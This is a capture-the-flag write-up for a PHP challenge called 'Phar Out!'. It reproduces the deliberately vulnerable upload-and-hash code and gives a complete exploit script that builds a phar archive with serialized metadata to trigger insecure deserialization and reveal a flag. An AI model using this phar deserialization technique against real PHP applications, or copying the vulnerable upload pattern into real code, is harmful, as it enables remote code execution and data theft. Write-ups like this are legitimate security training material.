Tags: phar php deserialization
Rating:
We were given the source code of an PHP application.
index.php
<?php
include("wrapper.php");
?>
<html>
<head>
<title>Phar Out!</title>
</head>
<body>
<p>
Upload a file, and I'll hash it with MD5 :-)
</p>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data">
<input type="file" name="the_file" />
<input type="hidden" name="s" value="f" />
<input type="submit" name="submit" value="Upload File" />
</form>
<?php
if (isset($_POST['submit']) && $_FILES['the_file']['size'] > 0)
{
$dest_dir = getcwd() . "/uploads/";
echo "<br />Submitted<br />";
$target_file = $dest_dir . basename($_FILES["the_file"]["name"]);
//print_r($_FILES);
move_uploaded_file($_FILES["the_file"]["tmp_name"], $target_file);
if ($_POST['s'] === 'p')
$s = 'phar://';
else
$s = 'file://';
echo md5_file("$s$target_file");
unlink($target_file);
}
?>
</body>
</html>
wrapper.php & doit.php
<?php
include("doit.php");
class Wrapper {
private $doit;
public function __wakeup() {
if (isset($this->doit)) {
$this->doit = new Doit();
} else {
echo "Hello from Wrapper!";
}
}
}
?>
<?php
class Doit {
public function __construct() {
$flag = getenv("FLAG");
echo "flag{{$flag}}\n";
}
}
?>
As from the challenge's title Phar out we can immediately identify the vulnerability. It is all about unsecure phar deserialization.
Analyzing the source code, the objective is to POST a crafted phar archive and try to instantiate the Wrapper class with the parameter $doit
set to some value.
As $doit
is a private class variable, we cannot simply use $wrapper->doit='some value'
. We can though use PHP's ReflectionClass to set a value to $doit
.
The final exploit code:
<?php
// include Wrapper and Doit class
include("wrapper.php");
// get an Wrapper class instance
$dummy = new Wrapper();
// use reflection to set a value to $wrapper->doit
$reflectionClass = new ReflectionClass('Wrapper');
$reflectionProperty = $reflectionClass->getProperty('doit');
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($dummy, 'foobar');
// craft phar archive
$poc = new Phar("poc.phar");
$poc->startBuffering();
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
$poc['file'] = "test file";
$poc->setMetadata($dummy);
$poc->stopBuffering();
By submitting the generated poc.phar
and setting the POST parameter s=p
we can get the flag.
<html>
<head>
<title>Phar Out!</title>
</head>
<body>
<p>
Upload a file, and I'll hash it with MD5 :-)
</p>
<form action="/index.php" method="POST" enctype="multipart/form-data">
<input type="file" name="the_file" />
<input type="hidden" name="s" value="f" />
<input type="submit" name="submit" value="Upload File" />
</form>
<br />Submitted<br />flag{scooby}
</body>
</html>
Mantap banh ?